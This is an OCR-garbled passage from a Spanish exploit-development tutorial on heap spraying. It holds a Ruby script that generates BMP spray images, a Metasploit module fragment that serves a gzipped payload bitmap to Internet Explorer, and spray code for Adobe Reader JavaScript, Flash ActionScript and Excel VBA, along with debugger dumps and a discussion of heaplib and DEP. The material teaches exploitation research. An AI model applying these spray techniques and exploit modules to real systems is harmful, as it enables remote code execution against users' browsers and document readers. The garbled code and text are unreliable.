y la menciond en su presentaciéon Owasp 2010:

https://www.owasp.org/images/0/01/OWASL _IL_2010 Jan
Moshe _Ben_Abu_- Advanced Heapspray.pdf

Escribié un buen script de Ruby para hacer lasscogss practicas y me ha
permitido publicar el script en este tutorial.

bmpheapspray_standalone.rb

# Escrito por Moshe Ben Abu (Trancer) de www.rec-s

#Publicado en www.corelan.be con permiso.
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bmp_width = ARGVJ0].to_i
bmp_height = ARGVJ[1].to_i
bmp_files_togen = ARGV[2].to_i

(ARGVI[0] ==
bmp_width =1024

(ARGVI[1] == )
bmp_height

(ARGV[2] == )
bmp_files_toger= 128

# Tamano del bitmap a calcular.

bmp_header_size =54

bmp_raw_offset =40

bits_per_pixel =24

bmp_row_size =4 * ((bits_per_pixel.to_f* bmp_wi dth.to_f) /
32)

bmp_file_size =54 + (4 * ( bits_per_pixel ** 2) )+ (
bmp_row_size * bmp_height )

bmp_file =" \Xx00 " * bmp_file_size
bmp_header =" \Xx00 " * bmp_header_size
bmp_raw_size = bmp_file_size - bmp_header_size

# Genera el header o cabecera del bitmap.

bmp_header|[0,2] =" \x42\x4D "

"BM”

bmp_header[2,4] = [bmp_file_size].pack('V") # size of bitmap file
bmp_header[10,4] = [bmp_header_size].pack('V') # size of bitmap header (54
bytes)

bmp_header[14,4] = [bmp_raw_offset].pack('V") # number of bytes in the bitmap
header from here

bmp_header[18,4] = [bmp_width].pack('V") # width of the bitmap (pixels)
bmp_header[22,4] = [bmp_height].pack('V") # height of the bitmap (pixels)
bmp_header[26,2] =" \x01\x00 " # number of color planes (1 plane)
bmp_header[28,2] =" \x18\x00 " # number of bits (24 bits)
bmp_header[34,4] = [bmp_raw_size].pack('V") # size of raw bitmap data

bmp_file[0,bmp_header.length] = bmp_header

bmp_file[bomp_header.length,bomp_raw_size] =" \XxOC " * bmp_raw_size

i 1..omp_files_togen
bmp = .new(i.to_s+" .bmp"," whb")
bmp.write(bmp_file)
bmp.close

Este script de Ruby standalone o independienta&né@a imagen Bmp
basica que contiene 0x0c por todo lados.
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Ejecuta el script, introduciendo el ancho y altdeseados del archivo
Bmp, y el nUumero de archivos que se crean:

root@bt:/spray  # ruby bmpheapspray_standalone.rb 1024 768 1
root@bt:/spray  #ls -al

total 2320

drwxr-xr-x 2 root root 4096 2011-12-31 08:52 .

drwxr-xr-x 28 root root 4096 2011-12-31 08:50 ..

-rw-r--r-- 1 root root 2361654 2011-12-31 08:52 1.
-rw-r--r-- 1 root root 1587 2011-12-31 08:51
bmpheapspray_standalone.rb

root@bt:/spray  #

El archivo es de casi 2,5 MB, que tiene que sastegido al cliente para
que pulverice el Heap. Si creamos un archivo HTMinp¢e y lo
visualizamos, podemos ver que desencadend unaaagignque contiene
los datos de nuestro Spray (0x0c).

XP SP3, IET:

0:014> s -b 0x00000000 L?0x7fffffff 00 00 00 00 Oc
00cec630 00 00 00 00 0Oc Oc Oc 0c-0c Oc Oc Oc Oc Oc
0397fffc 00 00 00 00 Oc Oc Oc Oc-0c Oc Oc Oc Oc Oc
<-

102a4734 00 00 00 00 Oc Oc Oc 0c-0Oc Oc Oc Oc Oc Oc
4ecde4f4 00 00 00 00 Oc Oc Oc 0c-Oc Oc Oc Oc Oc 07
779b6af0 00 00 00 00 Oc Oc Oc 0c-0Oc Oc Oc Oc Oc Oc
7¢cdf5420 00 00 00 00 Oc Oc Oc 0c-0c Oc Oc Oc Oc Oc
7cfbc420 00 00 00 00 Oc Oc Oc 0c-Oc Oc Oc Oc Oc Oc

0:014> d 00397fffc

0397fffc 00 00 00 00 Oc Oc Oc Oc-0c Oc Oc Oc Oc Oc
0398000c 0c Oc Oc Oc Oc Oc 0Oc 0c-0c Oc Oc Oc Oc Oc
0398001c Oc Oc Oc Oc 0c Oc Oc 0c-0c Oc Oc Oc Oc Oc
0398002¢ 0c Oc Oc Oc Oc Oc Oc 0c-0c Oc Oc Oc Oc Oc
0398003c 0c O0c Oc Oc Oc Oc Oc 0c-0c Oc Oc Oc Oc Oc
0398004c Oc Oc Oc Oc 0c Oc Oc 0c-0c Oc Oc Oc Oc Oc
0398005¢ 0c Oc Oc Oc Oc Oc Oc 0c-0c Oc Oc Oc Oc Oc
0398006¢ 0Oc 0c 0c Oc Oc Oc Oc 0c-0Oc Oc Oc Oc Oc Oc

IE8 deberia retornar resultados similares.

Por lo tanto, si tuviéramos que crear mas archieosel script y cargarlos
todos (70 archivos o0 mas):
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<html>

<body>

<img src='1.bmp'>
<img src="2.bmp'>
<img src='3.bmp'>
<img src='4.bomp'>
<img src='5.bmp'>
<img src='6.bmp'>
<img src="7.bmp'>

<img src='8.bmp'>

<img src='9.bmp'>

<img src='10.bmp"'>
<img src='11.bmp"'>
<img src='12.bmp'>
<img src='13.bmp'>
<img src='14.bmp"'>

Deberiamos ver esto:

790120 co int 3

0.014> d OclcOclc

Oclclclc Oc 0 Oc Oc Oc Oc Oc Oc-0c Oc Oc Qo Oc Oc Oc Oc
felclcle Oc 0o Oc Oc 0o Oc Oc Qe=0c Oc Oc O Oc Oc Oc Oc
lelele2e 0Oc Oz O Oc D Oz O Oe-@c Oe Oc O Oc Oc De O
Ogfele3z Oz 0o Og Oc Do Oc Oc Oc-0c Oc Oz Oz O Oe O Oc
lelclcde 0Oz O Oc Oc D De Oe Oc-0c Oc Oc Oc Oc Oe Oc Oc
Oelcle5z Oz Oz O Oc Oz O Oc Oc-0c De Oc Oc De Oc Os Oc
Oclclcte Oc Oc Oc Bc Oc Oc Oc Oc=Oc Oc Oc Oc Oc Oc Oc Oc
Oclclc?c Oc Oc 0o Oc Oc D Oc Oc=0c Oc Oc Oc Oc Oc Oc Oc

il

Por supuesto, transferir y cargar 70 archivos lpto@ 2,5 MB obviamente
se tarda un rato, asi que tal vez hay una manelieitiar la transferencia
real de la red a un solo archivo y, a continuacamtivar cargas multiples
del mismo archivo resultante en las asignaciorgigiduales.

Si alguien sabe como hacer esto, que nos €iga.

En cualquier caso, la compresion GZip ciertamemtgasitil en cierta
medida también.

Pulverizando imagen BMP con Metasploit
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Moshe Ben Abu fusiond su script independiente emixin de Metasploit
(bmpheapspray.rb).

El mixin no estd en el depdsito de Metasploit pmrque tendras que
afadirlo manualmente en tu instalacion local:

Coloca este archivo en la carpeta de Metasplait, en

lib/msf/core/exploit

Luego, editdib/msf/core/exploit\mixins.rb e inserta la siguiente linea:

require  'msf/core/exploit/bmpheapspray'

Para demostrar el uso del mixin, modificé un modidb Exploit existente
(ms11_003 para incluir el mixin y utilizar una Bmp con He&pray en
lugar de un Heap Spray convencional.

msl1l 003 ie _css_import_bmp.rb

Coloca este archivo enodules/exploits/windows/browser.

En este médulo, se genera un Bitmap.

11

# Oenerate Dltmap Tile

shellcode = payload.encoded
bmp = generate bmp(shellcode)
# gzip to the rescue

omp = Rex::Text.gzip(bmp)

Luego, etiquetas de imagen individuales se inclwyrela salida Html.

1. .datastore| ' BMPFILESTOGEN' | do

Translated wW| = C

. bmp

html>

head>

script language='javascript's

..'_\f ript

/head

body:
#{bmp tag

Ipt=#4{]s Tunctif [ ) ;</5¢

</ I,,.”:ll.i s

rml>

border-width:p

corelanc0d3r
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Y cuando el cliente solicita un archivo bmp, seesigl Bmp “malicioso”:

elsif request.uri /. bmps/
#print status("#{cli.peerhost}:#{cli.peerport} Sending #{self.refname} BMP")

# Sending bitmap file
send response(cli, bmp,
{
Content-Type' == 'image/x-ms-bmp",
Content-Encoding” == 'gzip

it

Asegurate de quitar la actualizacion de seguridd82017de IE7, o
posteriores actualizaciones acumulativas de tersstde prueba para
poder desencadenar la vulnerabilidad.

Ejecuta el médulo del Exploit contra IE7:
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- wiirw corelan be

La imagen se carga 128 veces:
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B sMCEszs[1] - Notepad
Fie Edt Format  Yiew Help
B

</scripts
< /head>
chody>
<img src='A1.bmp' width="0' hejght="0" style="border-width:0' />
<img sre='/2.bmp' width="0' height="0' style="border-width:0" />
<img sre='J/3.bmp' width="0' height="0' style="border-width:0' />
<img src="J4.bmp’ width="0" height="0"' style="horder-width:0" />
<img src="/5.bmp" width="0" height="0' style="horder-width:0" /=
<img src='J6.bmp’ width='0' height="0' style="border-width:0' /=
<img srce'/7.bmp' width='0"' height="0' styles'border-widch:0' />
<img src="/8.bmp' width="0' height="0' style="border-width:0' />
<img src="/9.bmp' width="0' height="0' style="border-width:0' />
<img srec='/S10.bmp' width="0"' height="0" style="border-width:0' />
f<img src="/11.bmp’ width="0" height="0' style="horder-width:0' />
<img src='/12.bmp’ width="0' height="0" style="border-width:0' />
<img src='/13.bmp’ width="0' height='0' style='border-width:0' />
0

<img src='/14.bmp' width= height='0' styles='border-width:0' />

- =

Asi que, como puedes ver, incluso desactivar Jana®n el navegador no
evita que funcionen los ataques del Heap Spraysimresto, si Javascript
es necesario para desencadenar la vulnerabilidade&idad, es una
historia diferente.

Nota: puede que ni siquiera tengas que cargarckivar 128 veces. En las
pruebas, desde 50 hasta 70 veces parecio seestdici

Heap Spraying sin navegador

Heap Spraying no se limita a los navegadores. Dehdiecualquier
aplicacion que proporcione una manera de asigrias ¢an el Heap antes
de desencadenar un desbordamiento, podria seuena bandidata para el
Heap Spray. Debido al hecho de que la mayoria denbvegadores
soportan Javascript, este es un objetivo muy popBkro sin duda hay
otras aplicaciones que tienen algun tipo de sopmata scripts, lo que te
permite hacer mas o menos lo mismo.

Incluso las aplicaciones de subprocesos multiplesexvicios podrian
ofrecer algun tipo de Heap Spray también. Cadaxtdmese podria utilizar
para entregar cantidades grandes o precisas de @atede que tengas que
mantener conexiones abiertas para evitar la memoeadeseas borrar de
inmediato, pero definitivamente hay oportunidadegug podria valer la
pena intentarlo.

Echemos un vistazo a algunos ejemplos.
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Adobe PDF Reader: Javascript

Un ejemplo de otra aplicaciéon bien conocida queetiel soporte de

Javascript seria Adobe Reader. Qué convenienteerbeb ser capaces de
utilizar esta capacidad para realizar Heap Spraglargro del proceso de
Acrobat Reader.

Con el fin de verificar y validar esto, tenemos tpreer una manera facil de
crear un simple archivo Pdf que contenga el codayascript.

Podriamos usar una una biblioteca de Python o Raly este propdsito, o
escribir una herramienta personalizada nosotrosiassPor el bien de este
tutorial, me quedo con el excelente script de pytimoake-pdf' de Didier
Stevenque utiliza la biblioteca MPDF.

http://blog.didierstevens.com/programs/pdf-tools/

En primer lugar, instala la ultima version 9.x déohe Reader.

http://get.adobe.com/reader/otherversions/

Luego, descarga una copia dadke-pdf' de Didier Steven Después de
extraer el archivo Zip, obtendras el scnpéke-pdf-javascript.py, y la
biblioteca MPDF.

Vamos a poner nuestro cddigo JavaScript en unwarcla texto separado y
utilizarlo como entrada para el script.
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El archivoadobe_spray.txten la siguiente imagen contiene el cédigo que
hemos estado utilizando en los ejercicios antegiore

E'. adobe_spray.txt - Motepad
File Edit Format View Help
shellcode = unescape( ' ¥ud141%442141 "' 7;

nops = Unescapel ' ®US090%kys090" 7,
headersize = 20;

A4 create one block with nops

slackspace = headersize + shellcode. length;
whiTe(nDEs.1ength < slackspace) nops += nops;
Fi11hTock= nops.substring(d, slackspace);

Slenlarge block with nops, =size 0x50000
block= nops.substring(d, nops.length - s1acksEacej;
while(hlock. Tength+sTackspace < 0x500000 block= block+ block+ FiTT1block;

Imemary=new Array();
for( counter=0; counter<250; counter++) memory[counter]= block + shellcode;

Ejecuta el script y usa el archivo txt como entrada

python make-pdf-javascript.py -f adobe_spray.txt te

Abretest.pdf en Acrobat Reader, espera hasta que la paginalastéa.

i test.pdf - Adobe Reader

Fils Edt Wiew Document Took ‘Window Help

5 & € M leem 0B,
=

JavaScript example
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Y luego attacha Windbg al proceAoroRd32.exe

Mira en el Dump la direcciorix0Oa0aOaOa 0x0c0c0cOc

UV W AW Wb BSOS o el WUTL Y LU U UL WY WS 4
0:008> d Dabalala

Oalalafa 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90
fafalzla 90 90 90 90 90 90 90 20-90 90 90 90 90 90 90 90
Oafala2a 90 90 90 90 90 90 90 20-30 90 90 90 90 90 90 %0
Oafalala 90 90 90 90 90 90 30 90-=-90 90 S0 90 90 90 90 90
Dalalada 90 90 90 90 90 90 S0 90-90 90 90 90 90 90 90 90
DalalaSs 90 90 90 90 90 30 30 90-%0 50 90 90 %0 90 90 30
Dalalaba 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90
Oafala?a 90 90 90 90 90 90 S0 90-90 90 S0 90 90 90 90 30
0:008: d Delclclc

OcOzOcOs 90 90 90 90 90 90 S0 90-90 90 90 90 90 90 90 90
OcOclclc 90 90 30 90 30 30 30 30-30 90 90 90 90 30 90 30
OclOclOc2c 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90
Oclclcdc 90 90 90 90 90 90 90 20-90 90 90 90 90 90 90 90
Oclclcdc 90 90 90 90 90 90 90 %90-30 90 90 90 40 90 90 %90
OcOclcSc 90 90 90 90 90 90 30 90-=-90 90 90 90 90 90 90 90
Oclelcke 90 90 90 90 90 90 30 90-90 90 90 90 90 90 90 90
0c0s0c7c 90 90 90 90 90 90 30 90-50 S0 90 90 %0 90 90 90

4] |
[0-0085 |

Bien — El mismo script, resultados confiables.

Lo Unico que necesitas es un bug en Adobe Readempfeede ser dificil de
encontrar), explotalo, y redirige EIP hacia el Heap

En caso de que se preguntan: si este script de Hl@ay simple funciona
en Adobe Reader X muy bien. Solo tienes que saliagequefia Sandbox.

Adobe Flash Actionscript

ActionScript, el lenguaje de programacion utilizado Adobe Flash y

Adobe Air, también proporciona una forma de asigonarbloques en el

Heap. Esto significa que eres perfectamente capamsar ActionScript en

un Exploit de Flash. Ya sea que el objeto Flash estondido dentro de un
archivo de Excel o de otro archivo o no, no importa

http://www.adobe.com/support/security/advisoriesédd -01.html

Roee Hayuso un Spray de ActionScript en su Exploit p@hE-2009-
1869:

http://roeehay.blogspot.com/2009/08/exploitatioreed-2009-1869.html

Era una vulnerabilidad de Flash, pero que sin duakdes incrustar el
Exploit de Flash ActionScript real con un Spraytdede otro archivo.
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Lo bueno es que si incrustas un objeto Flash emexior de Adobe PDF
Reader, por ejemplo, se puede pulverizar el HeapAsionScript y la

memoria asignada estaria disponible dentro delegmécroRd32.exe. De
hecho, lo mismo va a suceder en cualquier aplinagiéor lo que incluso
puedes pulverizar el Heap de una aplicacion de NMgeOmediante la

incorporacion de un objeto Flash en el interior.

Antes de pasar a la incrustacion de un archivohHgms otro documento,
vamos a construir un archivo Flash de ejemplo cqudenga el cédigo
ActionScript necesario para pulverizar el Heap.

En primer lugar, obten una copia #&axe http://haxe.org/download y
realiza una instalacion por defecto.

A continuacion, necesitamos algo de cédigo HeamySpgue funcionara
dentro de un archivo Swf. Voy a usar un script genplo originalmente
publicado aqui:

http://feliam.wordpress.com/2010/02/15/filling-a@dsbheap/

Busca "ActionScript”, pero yo hice algunos camlaosel script para dejar
las cosas claras y permitir que el archivo se clengm Haxe.

Este archivo actionscripMySpray.hx) se ve asi:

MySpray

Memory = 0;
chunk_size:Ulnt = 0x100000;
chunk_num;

nop:int;

tag;

shellcode;

t;

main()

tag = flash.Lib.current.loaderinfo.parameters.tag ;

nop = Std. (flash.Lib.current.loaderinfo.parameters.nop);
shellcode = flash.Lib.current.loaderinfo.paramete rs.shellcode;
chunk_num = Std. (flash.Lib.current.loaderinfo.parameters.N);
t= haxe.Timer(7);

t.run = doSpray;

}

doSpray()

{

chunk.writeMultiByte(tag, 'us-ascii');

chunk = flash.utils.ByteArray();

(chunk. < chunk_size)

{
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chunk.writeByte(nop);

chunk.writeMultiByte(shellcode, 'utf-7");

(i 0...chunk_num)

{
Memory.push(chunk);

chunk_num--;
(chunk_num == 0)

Este script toma 4 argumentos:

 Tag: la etigueta para poner delante de la secuelecidsOP’s para
gue podamos encontrarlo mas facilmente.

* Nop: el byte para usar como NOP (valor decimal).

» Shellcode: la Shellcod&

* N: el nimero de veces que se pulveriza.
Vamos a pasar estos argumentos como FlashVars @diglo Html que
carga el archivo Flash. Aunque este capitulo est&cado como 'Heap
Spraying sin navegador", quiero probar si el Spuaigiona correctamente
en IE en primer lugar.

Primero, compila el archivewfa hx:

C:\spray\ >" c:\Archivos de programa\Motion-Twin\haxe\haxe.exe

main MySpray -swf9 MySpray.swf
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Usando esta pagina Html simple, podemos cargackiva Swf dentro de
Internet Explorer:

myspray.html

<html|>
<body>

<OBJECT classid=" clsid:D27CDB6E-AE6D-11cf-96B8-444553540000

codebase=" http://download.macromedia.com/pub/shockwave/cabs/f lash/swfl
ash.cab#version=6,0,0,0

WIDTH="320" HEIGHT=" 240" id=" MySpray " ALIGN="">

<PARAM NAME=movie VALUE="MySpray.swf ">

<PARAM NAME=quality VALUE=high>

<PARAM NAME=bgcolor VALUE=#333399>

<PARAM NAME=FlashVars
VALUE="N=600&nop=144&tag=CORELAN&shellcode=AAAABBBBCCCCDDID"'>
<EMBED src=" MySpray.swf " quality=high bgcolor=#333399 WIDTH=" 320"
HEIGHT="240" NAME=" MySpray "

FlashVars=" N=600&nop=144&tag=CORELAN&shellcode=AAAABBBBCCCCDDD"
ALIGN=""TYPE=" application/x-shockwave-flash "
PLUGINSPAGE=http://www.macromedia.com/go/getflashplayer ">
</EMBED>

</OBJECT>

</body>
</html>

Presta atencion a los argumentos FlashVars. N@stablece en 144, que
es el decimal para 0x90.

Abre el archivo HTML en Internet Explorer (He wdido Internet Explorer
7 en este ejemplo) y permite que el objeto Flastasgue.

Haz clic en el rectangulo azul para activar el wbfdash, lo que disparara
el Spray.

/7 C:\spray\package\MySpray.html - Windows Internet Explorer

; v E & C\spraylpackagelMySpray. html

W 4R @ Clisprayipackage|MySpray. bt | |

Espera unos segundos (15
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segundos 0 menos) y luego attacha Windbg a iexphee

Buscar nuestra etiqueta o tag:

0:017> = —a 0x00000000 L?70x7fffffff "CORELAN"

03175229 43 4f 52 45 4c 41 d4e 26-73 68 65 6c 6o 63 of 64 CORELAN&shellcocod
03175=ce 42 4f 52 45 4c 41 4= 26-73 68 65 6o 6o 63 6f 64 CORELANAshellcod
0433d14a 43 4f 52 45 4c 41 4= 26-73 68 65 6c 6c 63 6f 64 CORELAN&shellcod
04346000 43 4f 52 45 4c 41 4= 90-90 90 90 90 90 90 90 90 CORELAW. .. ... ...
04370000 43 4f 52 45 4c 41 4= 90-90 90 90 90 90 90 90 90 CORELAN. ... ... ..
043=a000 43 4f 52 45 4c 41 4= 20-90 20 90 90 90 90 20 90 CORELAN. ... ... ..
04403000 43 4f 52 45 4c 41 4= 90-90 90 90 90 90 90 90 90 CORELAW. ... ... ..
0441000 43 4f 52 45 4c 41 4= 30-90 90 90 90 20 90 90 90 CORELAN. .. ... ...
0441£000 43 4f 52 45 4z 41 4= 90-90 20 20 90 90 90 90 290 CORELAN. .. ......
04422000 43 4f 52 45 4z 41 4= 90-90 90 90 90 90 90 90 90 CORELAW. .. ... ...
04429000 43 4f 52 45 4c 41 4= 90-90 90 90 90 90 90 90 90 CORELAN. ... ... ..
0442f000 43 4f 52 45 4c 41 4= 90-90 90 90 90 90 90 90 90 CORELAW. .. ... ...
04432000 43 4f 52 45 4c 41 4= 90-90 90 90 90 90 90 90 90 CORELAN. ... ... ..
04459000 43 4f 52 45 4c 41 4= 20-90 20 90 90 90 90 20 90 CORELAN. ... ... ..
0445000 43 4f 52 45 4c 41 4= 90-90 90 90 90 90 90 90 90 CORELAW. .. ... ...
D44a£f000 43 4f 52 45 4c 41 4= 30-90 290 90 90 20 90 90 90 CORELAN. .. ... ...
044L7000 43 4f 52 45 4o 41 4= 90-90 20 20 90 90 90 920 290 CORELAN. .. ......
044b9000 43 4f 52 45 4z 41 4= 90-90 90 90 90 90 90 90 90 CORELAW. .. ... ...
044=d000 43 4f 52 45 4c 41 4= 90-90 90 90 90 290 90 90 90 CORELAN. ... ... ..
04442000 43 4f 52 45 4c 41 4= 90-90 90 90 90 90 90 90 90 CORELAW. .. ... ...
04442000 43 4f 52 45 4c 41 4= 90-90 90 90 90 90 90 90 90 CORELAN. ... ... ..

Mira los contenidos de nuestra direccion "predetibl

0:017: d Oclc0czlc
O=0c0z0z 90 90 90
Aclc0zlc 90 90 90
Qclclz2e 90 90 90
N=0c=0z3c 90 90 90
Aclc0zdc 90 90 90
Qc0c0zbc 90 90 90
A=l0c0z6s 90 90 90
Acl0c0z?c 90 90 930

1

a0
an
an
a0
an
an
a0
a0

a0
an
an
a0
an
an
a0
a0

a0
an
an
a0
an
an
a0
a0

a0
an
an
a0
an
an
a0
a0

90-30
90-30
20-90
90-30
90-30
90-90
90-30
90-30

a0
an
an
a0
an
an
a0
a0

a0
an
an
a0
an
an
a0
a0

a0
an
an
a0
an
an
a0
a0

a0
an
an
a0
an
an
a0
a0

a0
an
an
a0
an
an
a0
a0

a0
an
an
a0
an
an
a0
a0

In. = i

Eso funciond. Gracias al rico contenido o multimede YeuPernen un
muchos sitios Web, Flash Player esta instalada@anayoria de los PC’s
actuales.

Por supuesto, este script es muy basico y se pmeglmar mucho, pero
supongo que demuestra nuestro punto.

Puedes insertar el objeto Flash en otros formagoardhivo y lograr lo
mismo. Archivos PDF y Excel se han usado antesy [@etécnica no se
limita a los 2.

MS Office - VBA Spraying
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Incluso una simple macro en MS Excel o MS Word denptira realizar
algun tipo de Heap Spraying. Ten en cuenta, sinaegobque las cadenas
se transformaran en Unicode.

Imagen:

spray.xlsm - Modulel {Code)

I(General} j ISpray

Sub Zpravi()
Dim bhlock Az 3tring
Dim counter A=z Double
counter = 0
Do Until (counter > 100000)
block = bBlock + Chr(144)

counter = counter + 1
Loop
MsgEox ([("spray™)
counter = 0

Dim Arr (2000) As String

Do Until (counter > 2000)
Arr (counter) = "CORELANT™ 4+ Str (counter) + hlock
counter = counter + 1

Loop

MsgEox ("Done™)

End 3Sub

= Home | Insert  Pagelayout  Formulas  Data  Review  View

L Calibri -1 General - E
—— 53 Copy =
Paste I | [ [P 3. o, 4 ||%2 08| Conditional
% J Format Painter | BT | ]
Ciiphoard ¥ Font
=] v 5| i
A B & D

.0002.633 X86

1
2
3 Spray ModLoad: 02e10000 03045000 G “WINDOWS“systemdZ spepires dll
ModLoad: 77920000 77213000 C “WINDOWS“systemdz SETOPAPT dll
4 — |ModToed: 7120000 71b32000 O SNIRDOWS“aystem3Z-MPR DLL
5 Modload: 7540000 75652000 G ~FINDOWS“Systend 2 spool \DRIVERSWF32ER643
Modload: 3£500000 3£500000 G FINDOWS“Systen32>=pool DRIVERS<W32E86%3
6 ModLoad: 04120000 04248000 G “WINDOWSweystem32 urlnon, dll
7 Modload: 3dfd0000 3e015000 G ~WINDOWSwsystemdzviertutil dll
Modload: 34100000 3473000  C!“PROGRA~INMICROS~3\Officel2 OUTLFLTR DLL
g ModLoad: 34930000 3dadio@ G ~WINDOWS-system32 VININET.dll
5 lodload: 04280000 04265000 G ~WINDOWS systemdz Nornaliz dll
Modload: 76900000 76274000 G ~WINDOWS-system32~USERENY,d11
10 ModLoad: 04540000 04543000 G ~WINDOWS systemdzvidndl dil
o ModLoad: 72720000 72740000  C:“WINDOWS“system32 5ES DLL
ModLoad: 65000000 65275000  C:“PROGRA1NCOMHON~1“MICROS™1\VEA\VEAG\VEE!
12 liodTomd . 65300000 65326000 O ~PROGRA™INCOMMON®T~HICROS™T-VBA\VEAE“103
= (a4 8£0]: Break imstruction ssception — code 80000003 (first chance)
a7 E0R000 Sbe=00000001 cx=000000N2 edx-00000003 £51-00000004 odiZ0p
14 oip=7030120e cep=0458Ffoe sbp=0458F££4 inpl=0 wv up =i pl zr na
" css001h  55-002% ds-0023 es-0023 f£5=0038  gs=0000 =£1-00
ntdl 1| DhgBreakFoint
16 70901208 oo int 3
00105 d Oolstols
EE/ De0o0G0s 90 00 90 00 90 00 90 DO-90 DO 90 00 90 00 90 0D
18 DelcOcle 90 00 90 00 90 0D 90 D0-90 0D 90 00 90 00 90 0D
De0oOc2c 90 00 90 00 90 00 90 DO-90 DO 90 0 90 0 90 0D
19 DE0cOG3c 90 00 90 00 90 0D 90 DO-90 DO 90 0 90 00 90 0D
20 DE0cOsdc 90 00 90 00 90 00 90 DO-90 DO 90 0 90 0 90 0D
Do0cOSSe 90 00 90 00 90 00 90 D0-90 0O 90 0 90 0 90 0D
21 De0cOsee 90 00 90 00 90 00 90 D0-90 DO 90 00 90 00 90 0D
- 0c0cOG?c 30 00 30 00 90 D0 90 00-30 00 90 0 90 G0 90 0D
23 5
& 70105
35
26
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Puede que tengas que buscar la manera de evital ¢leap desaparezca
cuando tu funcion de Spray haya terminado, y piarisao resolver el
problema de Unicode, pero creo que te haces una ide

Por supuesto, si puedes conseguir que alguientejiecmacro, solo puedes
llamar a la API de Windows que podria inyectar Bbdle en un proceso y
ejecutarlo.

Excel concmd.dll y Regedit.dll:

http://blog.didierstevens.com/2010/02/08/excel-vathd-dll-regedit-dll/

Shellcode 2 VBScript:

http://blog.didierstevens.com/2009/05/06/shellc@eddscript/

Si eso no es lo que quieres hacer, también pueshas \MirtualAlloc y
memcpy() directamente desde dentro de la macrogaeigar la Shellcode
en memoria a la direccion indicada.

Heap Feng Shui / Heaplib

Originalmente escrito por Alexander Sotirov, la lioteca heaplib de
JavaScript es una implementacion de la técnicaalianiHeap Feng Shui”,
gue proporciona una forma relativamente facil ddizar asignaciones de
Heap con una mayor precision.

Mientras que la técnica en si no es nueva, laagpio actual desarrollada
por Alexander proporciona una manera muy elegariéei de utilizar la
biblioteca en Exploits de navegadores. En el momeel desarrollo, la
biblioteca soportaba IE5, IE6 e IE7 que eran lasiores disponibles en
ese momento, pero se descubrié que también ayudaluaionar el
problema de Heap Spraying en IE8 y versiones postsr como
aprenderas al final del tutorial.

Puedes ver un video de la presentacion de BlacRBiai por Alexander
Sotirov sobre Heap Feng Shui aqui:

http://video.google.com/videoplay?docid=4756951 2B 7406
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Puedes obtener una copia de su documento aqui:

http://www.phreedom.org/research/heap-feng-shuptieng-shui.html

El problema de IE8

Las pruebas anteriores han demostrado que el Hpegy Slasico no
funciona en IE8. De hecho, en la busqueda de artsfae un Heap Spray
clasico en IE8, parece que nunca paso el Spray.

Por cierto, la forma mas facil de rastreardagnaciones del Heap de
cadenas de pulverizacion en IE8 es mediante dblestmiento de un BP
enjscript!JsStrSubstr.

Ademas de todo esto, Internet Explorer 8, que es pnobablemente uno
de los navegadores mas populares y espandidaadtb en las empresas,
en este momento, habilita DEP llamando SetProceRBBDEtcy (), o que
complica aun mas las cosas. En los sistemas opevatnas recientes,
debido a la mayor seguridad y configuraciones, DEPno es una
caracteristica que puede ser ignorada. Incluse kist arreglas para sacar
un Heap Spray, todavia necesitas una manera clanfiaiba enfrentar el
DEP. Esto significa que no puedes simplementersaltana secuencia de
NOP’s en el Heap.

Este es también el caso con las ultimas versioeesikfox, Google
Chrome, Opera, Safari, etc, 0 con versiones maguast que se ejecutan
en un sistema operativo que tienen DEP habilitado.

Vamos a ver como es heaplib y cémo podria ayudarnos

Heaplib

Caché y técnica Plunger - oleaut32.dll

Como Alexander Sotirov explica en el documento samencionado, las
asignaciones de cadena (por SysAllocString) no miense traducen en
asignaciones del Heap del sistema, pero son a manadejados por un
motor de pila de administracién personalizado eaw32.

El motor implementa un sistema de gestion de lehé&gumara facilitar

rapidas asignaciones o reasignaciones. ¢ Recuesgglgmiento de la pila
gue vimos antes?
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Cada vez que un trozo se libera, el administradbHdap intentara colocar
el puntero a ese trozo liberado en la cache (hgiynak condiciones que
deben cumplirse para que eso suceda, pero esagicord no son tan
Importantes en este momento). Estos punteros pusgaeriar en cualquier
lugar en el Heap, de modo que todo lo que se ca@nda caché puede ser
un tanto aleatoria. Cuando una nueva asignaciomreycal sistema de
caché mira si tiene un trozo del tamafio requeridpugde retornarlo
directamente. Esto mejora el rendimiento y tamleita la fragmentacion
adicional en cierta medida.

Bloques de mas de 32767 bytes nunca son almaceeadashé y siempre
son liberados directamente.

La tabla de gestion de la caché esta estructurdzte fa base de tamaros
del trozo. Cada "bin" en la lista de caché puedrerer bloques liberados
de un tamano determinado. Hay 4 bins:

Bin Tamarfo de bloque que soporta el. bin

1 a 32 bytes.

33 a 64 bytes.

65 a 256 bytes.
257 a 32768 bytes.

wWNPEFO

Cada bin puede contener hasta 6 punteros a bltgues

Lo ideal seria que, al hacer un Heap Spray, queseasegurarnos de que
nuestras asignaciones sean manejadas por el sistenibeap. De esta
forma, las asignaciones se aprovecharian de laisfiodidad y la
asignacion de almacenamiento dinamico consecusvia tugar a punteros
consecutivos en un punto dado. La asignacién deubkb que son
devueltos por el gestor de caché podria ser ubieadmalquier lugar en el
Heap, la direccion no seria fiable.

Dado que la antememoria sélo puede contener ummé&Xe 6 bloques por
bin, Sotirov implementd la técnica “Plunger” o 'Bis’, que basicamente
vacia todos los bloques de la memoria caché. Shayobloques en la
caché, la caché no puede asignarte cualquier wezouevo, entonces
puedes estar seguro de que usas el Heap del sigdEsmaumentaria la
previsibilidad de obtener trozos consecutivos.
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Para ello, como explica en su documento, simpleengrénta asignar 6
trozos para cada bin en la lista de caché (6 trdeogn tamafio entre 1y
32, 6 trozos de un tamarfo de entre 33 y 64, yursiss/amente). De esta
manera, él estad seguro de que la caché esta lasiasignaciones que se
producen después de la "descarga”, serian manejetasl Heap del
sistema.

Basurero

Si queremos mejorar el disefio del Heap, tambiéemes que ser capaces
de llamar al recolector de basura cuando lo nesees (en lugar de
esperar a que se ejecute). Afortunadamente, elrrjatascript en Internet
Explorer expone una funcidollectGarbage() por lo que esta funcién se
ha utilizado y estuvo disponible a través de hbagplnbién.

Al utilizar tamafios de asignaciéon mayores de 32t§iés del Heap Spray,
puede que ni siquiera tengas que preocuparterdarila la funciomgc().

En los escenarios de uso-después-de-liberar dasmkestque reasignar un
bloque de un tamafo especifico de una caché espeat posible que
tengas que llamar a la funcidn para asegurartaudeestas reasignando el
